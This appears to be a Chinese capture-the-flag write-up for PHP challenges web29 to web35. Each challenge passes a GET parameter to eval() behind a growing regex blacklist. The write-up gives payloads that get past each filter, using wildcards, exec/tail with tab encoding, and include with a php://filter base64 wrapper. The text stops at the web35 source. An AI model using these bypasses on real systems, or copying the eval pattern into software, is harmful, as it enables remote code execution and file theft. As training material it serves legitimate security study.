web29
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
代码对flag
字符进行了过滤,我们可以使用通配符绕过
首先ls一下查看有哪些文件
已知flag在flag.php
文件中,我们可以使用cat f*
所有payload为?c=echo system('cat f*');
在元素中找到flag
web30
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
本题将system
函数过滤了,使用exec
函数来执行命令
payload为?c=echo exec('cat f*');
web31
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
本题多禁用了cat
和sort
这些查看文件内容的指令
我们可以使用tail
来代替
单引号也被禁用,我们使用双引号代替
空格被禁用,使用TAB键%09
代替
payload为?c=echo exec("tail%09f*");
web32
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
本关将echo禁用,需要带有输出功能的php函数,可以尝试使用include
文件包含加伪协议来绕过
?c=include%09$_GET[file]?>&file=php://filter/convert.base64-encode/resource=flag.php
php遇到定界符关闭标签会自动在末尾加上一个分号。所以我们可以使用?>
来绕过对分号的过滤
web33
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
本题过滤了双引号,但仍然可以使用上一题的payload
?c=include%09$_GET[file]?>&file=php://filter/convert.base64-encode/resource=flag.php
web34
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
本题将冒号过滤,但并不影响我们使用文件包含,因为检测的是参数c
?c=include%09$_GET[file]?>&file=php://filter/convert.base64-encode/resource=flag.php
web35
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|